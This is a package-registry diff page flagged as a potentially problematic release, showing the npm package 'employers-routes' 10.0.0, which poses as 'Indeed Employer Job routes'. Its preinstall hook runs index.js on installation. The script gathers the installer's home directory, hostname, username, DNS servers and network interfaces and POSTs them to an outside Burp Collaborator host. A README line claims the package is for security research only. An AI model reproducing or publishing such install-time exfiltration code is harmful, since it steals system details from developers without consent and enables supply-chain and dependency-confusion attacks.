employers-routes 10.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of employers-routes might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +48 -0
  3. package/package.json +13 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ This Package is for Security Research Purpose only
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //author:- bsainath4u@gmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ ip: os.networkInterfaces(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "3lptzvpus6g6jw0ofs40g87kbbh15q.burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+
2
+ {
3
+ "name": "employers-routes",
4
+ "version": "10.0.0",
5
+ "description": "Indeed Employer Job routes",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1",
9
+ "preinstall": "node index.js"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
13
+ }